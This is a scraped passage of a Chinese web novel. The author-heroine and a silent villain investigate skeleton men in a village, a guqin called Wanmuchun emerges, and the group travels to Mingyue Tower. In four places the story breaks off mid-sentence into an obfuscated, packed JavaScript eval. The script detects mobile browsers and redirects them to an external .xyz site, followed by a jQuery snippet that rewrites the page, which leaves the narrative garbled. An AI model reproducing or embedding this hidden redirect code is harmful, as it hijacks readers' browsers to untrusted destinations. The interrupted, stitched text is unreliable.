这看似轻飘飘的一招却是用了十成功力,白骨人触之便被打成了一堆碎骨,如此干脆狠辣的一招让所有白骨人停顿一瞬,空洞的眼眶看向暗处。 “许久不见,师妹怎么变仁慈了,放任这些东西兴风作浪这么久,可不像是你的作风。” 来人一挽拂尘,从暗处缓缓走出,黑衣如墨,拂尘似雪,二者极为矛盾,又极为和谐,像极了她本人,长着一道锐利到极致的眉,和一双多情到难言的眼眸。 在场有认识此人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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歪七软着双腿跪了下去,随着白石湫这一动,两方又纠缠起来,莫临江换了自创的赤云剑法,威力非比寻常,白石湫更是招招狠历,摧骨断树,大有遇神杀神遇佛杀佛之意,然而在几人的围攻之下,白骨人依旧未显疲态。 谢归川胸口的起伏明显了许多:“再这样下去,我们迟早力竭而亡。” 白石湫手一顿,望向洞中。 顿时多了两个白骨人围攻谢归川,他无奈道:“白少宗主,即便真如我所说,你也不能在这个时候收手啊……莫少宗主救我!” 他往莫临江那边躲去。 白石湫一拂尘掸开白骨人,快步走入洞中,众人这才注意到,原本黑漆漆的洞穴内突然散发出一阵莹绿的光芒,白骨人发了疯似的想往里钻。 莫临江当机立断道:“拦住他们!” 洞中光芒在白石湫踏入后便渐渐黯淡,只余一缕微弱的绿光从地面的洞口探出,她走近一瞧,那竟是一块尚未来得及挖掘的棺材洞,不待她有所动作,一块木板似的东西突然从中飞了出来,围着所有人转了一圈后重新回到白石湫面前。 “这……这莫非是……仙器?” 白石湫接住木板后仔细端详一番,此物质地坚硬,色泽黝黑,一端有奇异花枝盘于其上,花叶皆绿,有异香,其下有五根雪白的细长烟雾蔓延至木板的另一端。 这竟是一张浑然天成的五弦古琴。 看到这张琴的那一刻,书环比任何人都要激动,她连忙心道了几声幸好,虽然剧情有一些变动,但关键器物还是出土了。 25. 万木春 如今留存世间的仙器分为两种:一种是各大世家门派祖上流传下来的,据说是前人所造,如莫临江的青山白和谢归川的凤凰泣;一种是经过风水宝地多年育化而出的,这一类往往凭缘分挑选主人,如眼前的古琴。 育化一方仙器并非易事,往往上百年才出一件,上一方仙器出世已是百年前,下一方只能是百年后。 白石湫弹指拨弄琴弦,琴音如林间石上流过的清泉,一圈一圈荡开,流经捉妖师时十分柔和的替他们扫走疲倦,先前被她用拂尘打断在地只余一截木桩的树干纷纷冒出嫩芽。她手一顿,随即再度抚琴,这一次的琴音却不如先前那般滋养万物,反而带着一股浸入骨髓的杀意。 白骨人痛苦扭曲,挣扎着想要上前阻拦,却在未触及白石湫前化作一堆白骨。 这次是彻底“死了”,众人松了一口气,没想到真正杀死它们的竟是一块棺材板化出的仙器。 莫临江道:“恭喜。” 众人又纷纷跟着道喜。 白石湫面无表情的点了点头。 莫临江又道:“它有名字吗?” 白石湫指尖划过琴面,此物脱胎于棺材,同时蕴含生死两道,她难得扬了扬唇角:“有,它叫万木春。” “好名字。” 目睹仙器出世的激动渐渐褪去后,众人终于有心思将整件事情的前因后果理了理,那块最大的疑点像是一片迷雾,笼罩着所有关键信息。 “为什么无端门的术法会激发白骨人的怨气。” 白石湫抱着琴,闻言道:“两种可能,要么无端门的术法有问题,要么……”她多情的眼眸转向莫临江,“无端门的人有问题。” 谢归川诧异道:“白少宗主的意思是……这些白骨人的死与无端门有关?” “死和镇压他们的阵法,至少一个与无端门有关。” 莫临江道:“阵法看过了,无端门内没有这种阵法。” “于阵法大家而言,新创一个阵法并不算难事,师妹不也年纪轻轻就有了空花阳焰阵傍身吗?” 莫临江道:“那白少宗主觉得,这是会与谁有关?” 白石湫笑了笑,意有所指道:“天宗的人避世不出,而我师父身世分明,自然不能是天宗和地宗。” 那便只剩下人宗了,众人暗自心惊,鬼见愁果真如传言那般,谁的面子也不给,谁的手段都不怕,当着莫临江的面往她师父鹤非白身上泼脏水,不愧是整个玄道最有胆量的女人! 莫临江笑道:“此事我自会查明。” 白石湫冷笑一声:“希望师妹能查出真相,还死者一个公道。” 说完身背拂尘,手抱古琴便往外走,路过书环和裴殊身侧停了下来,一道剑眉锋芒微露。 “这二位不会就是赠予无端门蛇首的人吧?” 元清怕两人再说两句就会直接打起来,连忙应道:“是的。” 白石湫回头,意味深长的一笑:“师妹真是费心了,可惜,一切都是徒劳。” 她抬脚便消失在山林之中,元清看着空荡荡的林子一头雾水。 “什么徒劳?” 莫临江道:“或许是出了什么变故。” 书环感慨道:“这位白少宗主的脾气还真是……孤傲。” “没错,就是孤傲!” 元清抹着鼻血走了过来。 “书环姐姐,还是你聪明,知道大树底下好乘凉,早知道我也跟着你一起混了。” 他两个鼻孔连同嘴角都在流血,眼下没有水给他清洗,一抹便在脸上留下一道血迹,多抹几下直接把自己糊成了一个血人,裴殊皱眉,伸手从洞中引了一团水出来,啪的一团落在帕子上。 元清愣了愣,反应过来这是在帮他擦脸,连忙道:“谢谢,谢谢。” 书环见状,两眼放光的凑到裴殊面前。 “哇,你今天这么乐于助人,是有什么喜事发生吗?” 裴殊转过身去不予理会。 书环刚受了他的庇护,不好把人惹得太过,见那边莫临江在收拾残局,同裴殊说过一声便去帮忙了。 元清就着那张被水打湿的帕子三两下擦干净了脸,提了个袋子去和书环一起捡骨头,裴殊看着两人蹲在一起的身影,不知在想什么。 收拾完这些已至丑时,那群捉妖师往嘴里扔了几颗丹药,决定在天亮前将这个洞穴翻个底朝天,书环熬不住,拉着裴殊先一步下了山,回到村落后倒头就睡。 裴殊不需要睡觉,照例负手站在窗边,过了一会,见榻上之人没有醒来的迹象,转身出了门,隐入无边黑夜之中。 书环这一觉直接睡到了天亮,未穿书时她作息规律,早上六点便要起床,穿书后的生活没一天是平静的,这种习惯自然被打破。 裴殊不在屋内,她推门而出,碰巧看见莫临江一行人从山上下来,谢归川将留在村里那群捉妖师招来,每人给了一个装有骨架的乾坤袋,让他们去空地上去拼骨架。 书环知道,他是想看骨架上有没有遗留的信息,譬如死亡或日常修炼时受的伤,书环既好奇又胆小,跑去跟着拼了半架,途中莫临江去了一趟王孝生家,将他弟弟的尸体抬了出来,打算埋进他挖的那个坑里,书环出于对配角的尊重,跑去帮忙填土,一座坟都垒好了,裴殊还没出现。 书环坐不住了,围着村子转了一圈,在一户人家院子里找到了他。 裴殊站在那看两只狗打滚。 两只狗崽一黄一白,身子只有小臂般长短,但甚是圆润,两小只露着乳牙,撅着屁股,没有丝毫威慑力的吼叫声一低再低,试图在气势上压倒对方。 书环被它们逗笑了。 “真可爱,难怪你在这里看半天。” 她将小狗唤了过来,抱起白色那只摸了摸,递到裴殊面前:“要摸摸吗?喜欢的话我们以后也可以养一只。” 裴殊似乎被这句话触动了,一向淡漠的眼眸中有了些许别样色彩,他伸出手,小狗在书环手里嘤嘤扭着身子,在触碰到柔软皮毛的前一刻,他如触炭火般缩手,一言不发的转身离去。 书环脸上的笑容一滞,敏锐的察觉到了裴殊的情绪变化,连忙放下幼犬追了上去,裴殊人长得高,步子迈的也大,书环两条腿几乎蹬圆了才追上他。 “走那么快做什么?我都追不上。” 她缓了两口气又道:“有什么不开心的事……说出来就好啦……躲避……解决不了问题。” 裴殊看着她道:“我不知。” 书环琢磨了一番,觉得这三个字的意思应该是“我不知道我为什么不开心。” 她还是第一次知道,原来记忆遗失了情绪还会在,裴殊情绪波动大,想来一定是在狗这种生物上发生过不太愉快的事,看在两人同病相怜的份上,她决意再多安慰他几句,谁知竟在他小臂上看到了一条伤痕。 这道伤痕靠近手腕处,本应被衣袖遮盖的严严实实,可方才书环急于拉住他直接扯住了衣袖,这道伤痕这才得以被看到。 “不会是昨夜同那人交手时伤的吧?” “嗯。” 伤口还在轻微渗血,袖子上全是干涸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426013|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血迹,因为是黑衣所以没有第一时间被看到,书环心道:以后定要找个机会把他的黑衣全换成浅色。 她拉着人回了住处,找人要了伤药,仔细的清理伤口、上药、包扎,走完流程后裴殊的手臂上突然多了一个十分端庄的蝴蝶结,他看了一会,掀下衣袖将其遮住。 在赵家村的这几日书环也算死里逃生过一番,因此格外盼望下山的日子。 她托着下巴道:“裴殊,你说我们什么时候才可以下山?” “不知。” “我猜应该快了吧,该捉的都捉了,该挖的也都挖了,等我们下山之后,我要先找个客栈,好好的睡它一觉。” 书环畅想了一番下山后的生活,一眨眼便到了下午,从山上带回的骨架已经全部拼凑好,谢归川挨个检查一番,只在四具骨架上检查到了伤痕,这些伤痕非一人一器所为。 “难道真是某个家族或门派所为?” “我觉得是,一个人要想做到这种程度,需得先活个几百年。” “唉,玄道的天要变了。” 众人正讨论的火热,忽见一黑衣女子手持拂尘,身背古琴从山上下来,瞬间不约而同的闭上了嘴。 书环被气氛感染,像见了教导主任似的挺直身子。 白石湫目不斜视的从一群人面前走过,对最前方的莫临江道:“我找遍了附近的山脉,没有找到你们说的那个白骨人。” 众人先是一愣,随即疯狂挤眉弄眼,一副想要解释又不敢开口的样子。 莫临江道:“昨日共有两个白骨人进到村落,我们追着一个进了山林,另一个在村中作乱后逃入山林,之后的一段时间里,还有人见过它吗?” 书环见没人回答,开口道:“莫姐姐,我见过。” 白石湫闻声朝她看了过来。 “昨天夜里,我同裴殊上山的时候它曾拦过我们路。” 白石湫道:”然后呢。” “然后裴殊就同它打了一架,它逃了。” 书环说着撸下他的衣袖,露出被包裹好的伤口。 “喏,他还受了伤呢!” 谢归川摇摇扇子:“如此说来,白骨人有可能是因为受伤逃出这片地界了?若真是如此的话,那可难办了。” 书环咬唇:“也或许,逃走的那个不一定是白骨人。” “此话怎讲?” “谢少主可还记得你同莫姐姐一起布下的用来引诱妖物的阵?” 谢归川道:“自然记得。” “问题就出在这,那个阵里的诱饵是一群以纸符化出的幼童,之所以布这个阵,是因为当时根据死者的年龄猜测妖物的杀害对象有可能是孩童,可昨夜我们证实了,白骨人皆是成年人,如果逃走的那个真是白骨人的话,它根本不会进到阵里。” 有人问道:“可他若不是白骨人,为何要伪装成白骨人进村?” 书环道:“昨日我听留在村里的捉妖师说,见到我发出求救信号时,村中正应妖物的闯入而大乱,这可以说明,村中的假白骨人出现要比杀害王孝生的那个白骨人早一步。” “所以我想,这位假白骨人或许便是幕后黑手之一,两道一丈阵是他的手笔,他知晓白骨人在作乱,也知晓此事不能被无端门和明月楼的人发现,所以他放出藤妖和扮做白骨人都只有一个目的——混淆视听。” 书环叹了口气:“可惜他运气不好,有一个白骨人趁着他吸引注意力时杀害了正在挖坑的王孝生,又碰巧被我看到……” 她停顿下来,思考一番后道了一声不对。 26. 去对家家里做客 元清问道:“哪里不对?我觉得你的猜测很接近事情真相。” “王孝生不对。” 书环问莫临江:“玄道中可有分身之术?” 莫临江颔首:“有,不过此术对施术者的修为要求极高,据我所知,会此术者不超过十人,且都是玄道中人尽皆知的人物。” “那先前谢少主所用的以纸人假化真人的术法,所化出的人与真人可有区别?” 谢归川道:“有,瞳孔和发丝没有真人的精细,你这样问,可是怀疑有人用假人冒充白骨人?” 书环点头:“我不仅怀疑这个,我还怀疑,王孝生根本不是王孝生。” 元清不解:“前面一句我还能理解,后面一句是什么意思?” 谢归川解释道:“书环姑娘的意思是,我们所遇见的王孝生是被人冒充顶替的,为的就是用王孝生的身份光明正大待在村里,方便掩藏白骨人的存在,仔细一想也确实合理,第二道一丈阵不就是在王孝生家周围被布下的吗。” 白石湫听众人说了一通,干脆道:“找尸体。” 又是一位能用几个字表达意思绝不说一句话的人,书环不由得扭头看裴殊,一看才发现所有人都盯着她,就连裴殊也不例外。 “看我干嘛?” “书环姑娘您再猜猜,真正的王孝生尸体会在哪?” 书环:“……” 之前用她卡bug,现在拿她当探测仪,这年头的角色都这么压榨原作者的吗? 真是岂有此理! 她原地转了一圈,目光落到那座刚被众人垒好的坟上。 眼力劲好的捉妖师已提起锄头凑了上来,问道:“书环姑娘你确定?” “当然,真正的王孝生死于非命,被人顶替不说,唯一的弟弟连个全尸都没留下,这若是处理不当,保不齐能多出个厉鬼,幕后之人虽有些手段,却也怕惹出大动静,让他和弟弟合葬是最好的安抚方式。” “既然如此,那我们就开挖了。” 他呸呸两声,假意往手上吐了点唾沫,搓了两下之后正式开工,这群捉妖师挖了几天土,纷纷摆脱了抗拒的情绪,从中找到了属于自己的乐趣。 一群人将整座坟密不透风的围了一圈,不自觉的带了一点比试的心思,锄头一把比一把扬得高,泥土一捧比一捧提得远,最远的直接撒在了谢归川身上。 书环觉得这群人需要驱魔。 白石湫行走世间多年都不曾见过这场面,她一双剑眉微拧,第一时间去看莫临江的反应,对方和谢归川站在一处,两人面上都带着一如既往的平淡和微笑,她冷笑一声,道了一句成何体统。 众人只用了不到半刻钟的时间便将棺材抬了起来,一人跳进坑底探了探,欣喜抬头道:“下面果然有乾坤!” 上面的人一听,纷纷将锄头换成铲子,跟□□入水似的挨个跳了进去,一通泥土飞扬后,又一口棺材露出全貌。 谢归川以扇掩面道:“这种葬法真是闻所未闻。” 棺材盖被人熟练的打开,露出一具已经开始腐败的尸体,身形看起来与王孝生没有太大差别,除此之外还有许多辟邪的物件。 看到这,几乎可以确定此人便是真的王孝生,为了避免他死后作乱,明月楼的人摆了招魂阵,摇过三次招魂铃后,前来的依旧只有孤魂野鬼。 “王孝生的魂魄大抵是投生去了,亦或是早已魂飞魄散。” “可这样一来,还有必要费劲心机试图让兄弟俩合葬吗?” “或许……做这事的人还有仅存的一点良知呢?” 说这话的人似乎也觉得有些可笑,不等人对此做出评价便接着道:“少主,不仅是王孝生的魂魄没来,其余死者的也通通没有踪迹。” 谢归川颔首:“我知道了。” 有的妖邪喜食血肉,有的妖邪喜食魂魄,白骨人大概是后者,谢归川不打算把这些告诉村民,逝者亲人尚在,若是知道家人无辜受累多年,最后还落得个一朝身死魂飞魄散的下场,没人能承受得了。 如今阵法已破,被劫走的气运渐渐回归,若干年后,赵家村或许会出个大人物也说不一定。 此间事已了,众人收拾收拾,准备休息一晚再下山,白石湫不欲与人同行,孤身一人上了路。当天夜里,赵元章不知从哪听说了他们要下山的消息,带着村民抬了一堆瓜果蔬菜来表达谢意。 莫临江和谢归川修为虽高,在处理这些事上却一向没有天赋,最擅言辞的书环被推了出来,一通好说歹说之后,总算让他们把东西抬了回去。 元清感慨:“书环姐姐说话的功夫不比我们画符布阵的功夫差。” “那当然!” 不知是谁在人群中问了一句:“书环姑娘,你要是走了,我们上哪听你没说完的书去啊。” 这是个好问题,书环思考一番,道:“我找书商刊印成书籍,你们去卖话本的那里买就成,书名不变。” “那你可要快些写!” 书环被催更催怕了,没想到穿书也逃不过,顿时身形一闪,躲到了裴殊身后。 另一边,莫临江拿了一本空白封面的书给赵元章,他翻开看了看,顿时神色大变。 “这……这是!” “这是我自创的一些符文和阵法,此处极易滋养山野精怪,捉妖师又不常留意此处,你刚好有缘此道,便赠予你了。另外,开明道人近年来时常外出游历,你若多留意,兴许能遇上。” 赵元章眼神坚定的点了点头,谢过莫临江后嘱咐众人早些休息,又一一道过谢后才离去。 书环见其背影心生感慨:“赵村长和开明道人这一对师徒还真是……缘分浅薄。” 莫临江道:“世间缘分深厚者本就寥寥无几,更何况道人修为高深,未必不知自己徒弟运道有异,想来是某些原因导致他无法深究此事。” 谢归川叹了口气:“看来得找个时候去拜访一下道人了,莫少宗主,你接下来打算去往何处?” “下山,平妖乱。” “那真是巧,谢某也要寻大妖,看来我们又要同行了。” 第二日一早,书环尚未完全清醒时,众人便悄然无声的踏上了下山的路。 人群中年纪最小的元清跟她一样两眼惺忪哈欠连天,两人对视一眼,元清快步挪了过来。 “书环姐姐,你也没睡醒!” “是啊,困着呢。” 她拽着裴殊的袖子,一大半的力道都放到了他身上,让他带动自己走,元清看了有点心动,却碍于裴殊那双薄情的眼睛不敢有所动作。 “你们明明住的是一个院子,怎么精神相差这么大?” “或许是修为高的人不需要睡觉吧。” 两人你一言我一语的聊了起来,裴殊一言不发的充当的拐杖,直到两人从睡觉时该穿什么衣服聊到河里的小鱼要用什么方法才能修炼成仙时,一座建于路边的客栈终于露出了全貌。 一半的人都松了口气,掏掏耳朵准备坐下歇息一会,结果刚迈开步子,一道白色身影便从客栈中荡了出来。 兰驿一手持折扇,一手持铜镜,看也不看谢归川,笑意盈盈对莫临江道:“师姐,想我了没?” 不知是不是书环的错觉,她发现谢归川脸上的笑容有一瞬很假。 说完也不等她回答,又看向书环道:“搭子,你……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432934|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他注意到了一旁的裴殊,尾音被无限拉长。 “搭子!我走了不到一月,你竟然又有了新的搭子!” 书环给他介绍道:“这是我的一位挚友。” 兰驿拿铜镜照了照脸,夸张道:“果然,像本公子这般英俊潇洒的人,都是孤独的!” 莫临江问道:“你不是送蛇首入京去了吗?为何会在此地。” 兰驿一张脸垮了下来:“起战火了师姐,我刚赶了一半的路,便听闻有人起兵直入皇城,整座皇宫都被围了,我又不能插手这些权力斗争,于是只能调头回来在此处等你们。” 难怪当日白石湫会说一切都是徒劳。 众人被这个消息打得措手不及,每逢大乱之年,各种妖邪总要趁机作乱,他们身为捉妖师,不得不奔波于各地。 正想着,一位黑衣女郎从客栈中缓步走了出来,定睛一看,竟是比他们早一晚下山的白石湫,按照她的脾性,此刻应早已离去,又怎会在此? 在她身后,一群人跟倒豆子似的从客栈中走了出来,为首的是一位笑面和蔼,发须半白的胖老头,谢归川不急不缓的迎了上去:“大阁主,你怎么来了?” 从山拢着双手,笑道:“少主安好,老朽奉楼主之命请无端门的两位少宗主前往明月楼做客,已在此等候多时了。” 他微欠身子,朝两人比了个请的手势。 “诛位,请。” 俗话说,伸手不打笑脸人,何况对方还是一群修为高深的长老,莫临江虽不解,却也不好拂了他们的面子,只能吩咐几位师弟师妹自行去捉一些小妖,才在谢归川的陪同下上了马车。 明月楼有备而来,马车停了一长列,便是一人一车也足够,书环和裴殊上了同一辆车,刚坐稳便见兰驿也翻了进来。 他挥着把扇子对裴殊笑道:“你好哇!” 说完也不管对方理不理他,立马问书环:“搭子,这明月楼的人简直是太过分了!一直把我困在客栈里,生怕我跑了,哎,我本来是想上山找你们的,结果只能这么硬生生等到你们下山。” 书环:“……” 搭子,你知道吗?你说这话的时候脸上都是逃过一劫的庆幸。 这话她没说出口,问道:“你被困了几天了?” “没几天,我从京都折回时在路上……耽搁了一会,哈哈……” 不用多猜,他说的耽搁一定是去跟那些江湖朋友喝酒去了。 “话说回来,搭子,你什么时候多了一个挚友?” 兰驿抬扇遮了半张脸,看了看裴殊,忍不住啧啧道:“长的真不错,比我略胜一筹。” 裴殊撇过头去不理这两人。 书环:“我们很早以前就认识了。” “真是有缘。” 兰驿把扇子一合,伸手进衣袖讨出一叠话本。 “搭子你看,近期卖的最好的话本,我全买来了,一起看啊!” “哇——” 书环翻了翻这个时代的小说,发出穷人见到金子的感叹。 兰驿昂着头,一副我知道自己很厉害的表情。 “搭子,你真懂我,我要把你写进话本里!” 兰驿道:“把我写成一个潇洒一生的角色。” “没问题!” 两人凑在一起商量了一番角色的设定,兰驿拍着胸脯道:“搭子,以我阅文多年的经验来看,你一定会成为最有名的作家!” “等我出名那天请你喝最贵的酒!” 说完转头对裴殊道:“你想要什么也有。” 两人豪情壮志一番,又重新凑在一起,把兰驿买的话本挨个看完后,她们的目的地也到了。 27. 明月楼一日游 明月楼坐落在杜若洲,此地三面临水,遍值杜若,花开时节香透十里,书环一众人行到此处时尚未至花开,因此只见簇簇绿茵点缀在宅院内。 据传,明月楼开山老祖当年游历途径此处,见山清水秀,民风淳朴,又多植自己喜爱的杜若,便选在此处建立了明月楼,数百年下来,此地风情不改。 这还是无端门的人第一次由明月楼长老引着前来此处。 大阁主从山引着众人走过一条笔直的街市,顺带着介绍当地的风土人情。 书环走着走着忽闻一股清苦的味道,抬眼望去,街上行人腰间都坠有香囊,路边商铺里摆满了杜若制成的各类东西,其中最多的便是香丸。 她咦了一声,飞快的窜入店内,再出来时手里抓着一把银制香囊。 “莫姐姐,这个真有意思。” 无端门的人都分得一枚,书环把自己那枚系好,抬起头时见裴殊正望着手里那枚香囊,她拿过后替他系在了腰间。 从山笑道:“姑娘好眼光,杜若洲的人爱杜若,平日里也依靠杜若为生,百年下来催生出不少与杜若有关的制品,其中最受人们喜爱的便是这香丸……” 行至长街尽头,一道蜿蜒曲折的石阶山路出现在视线之中,从山抬手道:“诸位请。” 看样子竟是要让他们凭体力爬上去,这台阶蜿蜒而上,如同一条攀附在山峰上的白龙,大半截身子都藏在白雾之中,书环粗略的扫了一眼,凭肉眼可见的台阶少说有上千道,若真凭体力爬上去,就算不五体投地,姿容仪态也不会好到哪里去。 莫临江看了一眼,率先迈上台阶,白石湫抢在谢归川前面紧随其后,书环和裴殊照例落在后面,踏上台阶,一股洗净浊尘的清灵之气铺面而来,书环深深吸了一口,只觉五脏六腑都干净许多。 又往上迈了两级台阶后,她忽然发现自己置身于一片迷雾之中,第一时间朝裴殊看去,不料对方也在看着她,沉默片刻后,她问道:“这是什么?” “阵法。” 两人往前行了数步,迷雾渐渐淡去,露出莫临江一行人,彼时再往后看,一条望不见尽头的台阶蔓延向山脚,众人竟已到了山门。 抬眼望去,参天古树的隐掩下,一座爬满藤蔓的石牌坊静静地立于此地,岁月磨淡了表面精细的纹路,连带着绵中裹铁的明月楼三字也淡了几分锋芒,真恍若天上明月,朦胧淡泊。 从山带着众人继续往上,途径许多古朴的楼阁后,将众人引到了一处幽谷。 “诸位小友来的正巧,新酿的桃花醉,正是品尝的好时候。” 谷中溪流边依次摆有石台,上呈佳酿鲜果,书环数了数,一共七座,竟是将来者人数都提前算过了,不愧是最擅推延的门派。 为首那处坐着一位青年,身子斜倚在一旁的石头上,看模样约莫三十岁,鼻如险峰,脸若刀刻,深邃俊美,举手投足间带有一股翻云覆雨的威势,谢归川与其一对比,反倒像极了一位两耳不闻窗外事的贵公子。 这便是明月楼的楼主,苍梧夙。 莫临江道:“苍梧楼主,久仰大名。” “两位少宗主的美名,我亦有所耳闻,一路劳顿,不必拘此虚礼,快快入坐。” 他一条腿曲着,目光依次望过在场众人,莫临江和白石湫相对而坐,谢归川坐在了他身侧,书环则选了两个离得近的位子,拉着裴殊一同坐下,苍梧夙的目光在裴殊的白发上多停留了一会,这才提起正事:“听闻白少宗主得一仙器,蕴含阴阳二道,不知在下,是否有幸能听少宗主弹奏一曲?” “敢问苍梧楼主,是否有伤在身?” “不瞒少宗主,在下有一陈年旧疾,遍寻灵药也无可救,若非如此,是万万不会找上少宗主的。” 白石湫闻言,从琴囊中将琴取了出来,放置于双膝之上。 琴身通体黑色,绿叶绿花在其衬托下显得格外富有生机,光从外表来看,这当真是一把灵气四溢的仙器。 苍梧夙问道:“此琴何名?” 白石湫答:“万木春。” 苍梧夙沉默片刻,赞道:“好名字!听闻无端门弟子为修心性,自入门起便要修习乐器,不知白少宗主琴艺如何?” “尚可。” “那在下便放心了。” 白石湫面无表情,双手置于琴弦之上缓缓而动,琴音恍若石上溪流,流过干涸的土地,滋润枯萎的草木,最后沁入心脾。 书环心中的焦躁瞬间被抹平,一时间难以言说的畅快,身侧的裴殊却略带迟疑的抚了抚眼睛,于是她心中那点畅快又很快消失,取而代之的是琴音怎么也抹不平的焦躁。书环记得,裴殊的眼睛曾受过伤,这也是灰色瞳孔的由来,虽然她不曾细写过缘由,但能让大反派都束手无策的伤痛,必定不是寻常人等能造成的。 想到这,她突然陷入了沉思,长久以来,她习惯了裴殊的反派身份,却忽略了一件十分重要的事,裴殊被困于阵中最少百年,是谁将他困进去的?他的眼睛又是因何而伤? 这最重要的一个情节她还没来得及写啊! 但通过已知的情节可以判定,赵家村那个冒充王孝生的人和幕后操纵者,同残害裴殊的人一定有关系。在她的设定里,赵家村本就是一系列故事的开端,后面发生的每件事都能与其串联起来,形成完整的闭合。 可是仅靠这些,要推断出后半部分剧情还是十分有难度的,唉!要是当初早点把故事写完就好了,最不济有个大纲也行啊!若非如此,怎么会流落到原作者还要靠猜剧情的地步,偏偏自己又是个乱挖坑的,身世有伏笔的角色写了不少,她也无法确定,谁会在这个世界发展成比裴殊藏得还深的大反派。 想到这,她越发觉得心酸,怒从中来瞪了裴殊一眼:什么时候找上她不好!偏偏在剧情开始进入转折的时候找上门来! 裴殊无缘无故被瞪,面无表情的问她:“做什么?” “哼!” 裴殊没再说话,书环说他也不是,不说也不是,一想到他那被自己亲手写下的凄惨身世,顿时什么气也生不起来了,同是苦命人,还是多一分体量的好。 于是她霸道伸手:“把你的果子给我吃。” 裴殊拿了个梨给她,书环把其当做幕后操纵者恶狠狠的咬了一口,裴殊沉默的看着,不知在想什么。 一曲终了,苍梧夙缓缓睁眼,从山问道:“楼主?” 苍梧夙缓缓点了点头:“有所好转,仙器果然非同凡响,可惜旧疾顽固,仙器也无法逆转。” 说完向白石湫致谢一番,又同莫临江谈论起了阵法,书环听得似懂非懂,一直到天色将黑之时才停住。 苍梧夙问道:“莫少宗主于阵法一途实在是天赋出众,不知可有练出阵灵?” “尚未。” “一般来讲,修为不及你的也该有阵灵了。” 苍梧夙只说了这一句,随即便起身道:“天色已晚,诸位小友又是接连多日赶路而来,今日便早些休息吧。” 说完走向幽谷深处,每走一步便忽然离远一大截,三步之后已没了踪影。 谢归川解释道:“楼主喜爱山水,常宿于林中。” 书环感慨:“修为高的人,连爱好都与常人不同。” 从山不动声色的打探:“书姑娘身旁这位公子同样修为高深,不知可有什么异于常人的爱好?” “他呀,不喜欢说话,再有一个就是……喜欢看月亮。” 从山看了一眼裴殊:“果然不同寻常。” 书环不知道从山是不是看出了什么,心里顿时有些焦躁,好在对方很快便起身,说要带他们去住处。 几人被送到一处院落,此处风景极好,院落前有一棵不知名的树,枝头上坠满了淡黄色的花,花瓣随风而落,大半落到下方的小溪里,随流水远去。 白石湫折了一枝花,目光落到花枝上,话却是对莫临江说的:“看他们的做派,倒真像是请我来弹琴的。” “传闻苍梧楼主为人淡泊名利,不喜争端,兴许真是如此。” 白石湫冷笑:“淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437089|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泊名利还能当上楼主?师妹,你未免有些过于天真。” 说完自顾自的进了院子,随便挑了间屋子休息。 兰驿看着紧闭的房门啧啧称奇:“白少宗主还是这脾气。” 转身对众人道:“师姐,搭子,裴公子,你们先休息,我出去看看风景。” 说完摇着扇子轻快的消失在小道尽头。 “他不会在明月楼也有朋友吧?” 莫临江:“一定有。” 几人没再深究此事,各自寻了间屋子休息,书环的房间推开窗就能看见一山谷的杜若,她正在思考自己为何会写这个设定,旁边那间屋子的窗户也吱呀一声被人推开了。 她转头,正巧和裴殊对视上。 “你还不睡?” 问完才发觉自己说了句废话,本书的大反派除了身世长相修为这一系列必备的提升神秘感和气质的设定外,还有不用睡觉这一神奇之处,来源是书环经常熬夜写文,时常因发困这事苦恼,便想自己若是不用睡觉就好了,但此事显然没办法在她身上实现,于是她灵机一动,把这个设定加在了裴殊身上,没想到意外的契合。 裴殊没有回答她的话,书环也不意外,看了一眼渐渐灰暗的天色,决定暂且不休息,拿出符书学了起来。 半个时辰后,天色彻底黑了,轻轻走到窗边一看,果然没月亮,她取下曵骨,思量一番,写下“今晚月色甚好”六个字,字迹由白转金,又在瞬息间化作灰烬,仿佛从未出现过,回头一看,一轮圆圆的明月正从乌云后缓缓现身。 这下裴殊能安心看他的月亮了。 书环往回走了两步,突然全身发软,这熟悉的感觉…… 是反噬! 她赶紧走到床边躺了下来,有些困惑自己为什么要整这一出,反派看不看的见月亮同她有关系吗? 内心深处一道微弱的声音告诉她:有关系的。 她不知这道声音从何而来,就这么傻乎乎的躺在床上,一躺就是一整夜,窗外的鸟已轮番叫过几回时,书环才幽幽转醒,她动了动手脚,发觉跟往日没什么不同,这才放下心,看来篡改月色一事不算大,反噬最多不过是失力一整晚而已。 